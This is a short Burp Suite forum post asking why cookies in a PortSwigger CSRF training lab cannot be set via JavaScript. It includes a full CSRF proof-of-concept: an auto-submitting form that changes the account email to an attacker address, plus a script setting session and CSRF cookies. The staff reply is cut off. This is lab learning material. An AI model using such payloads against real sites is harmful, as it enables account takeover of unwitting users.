The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

CSRF Lab token tied to non-session cookie. Set cookie via javascript?

paul | Last updated: Mar 28, 2022 07:59PM UTC

Hello all, the solution for this lab used the fact that the search functionality could execute a set-cookie response header using another session id. I'm curious why could this not be done via javascript, prior to form submission? Eg. <form class="login-form" name="change-email-form" action="https://acf31f701e52477cc01c651600e70079.web-security-academy.net/my-account/change-email" method="POST"> <input required="" type="hidden" name="email" value="attacker@hacked.com"> <input required="" type="hidden" name="csrf" value="n0uN9SnRM15Krlf4U4aUhm2UdajTwBVZ"> </form> <script>document.cookie="session=VBh9xFzZBexoglaOonAa4ZNPoQK11jCX;"; document.cookie="csrfKey=32JP7Q8WezXlVeO4Nj7OCiAxMZYk7TzA;"; document.forms[0].submit();</script>

James, PortSwigger Agent | Last updated: Mar 29, 2022 07:58AM UTC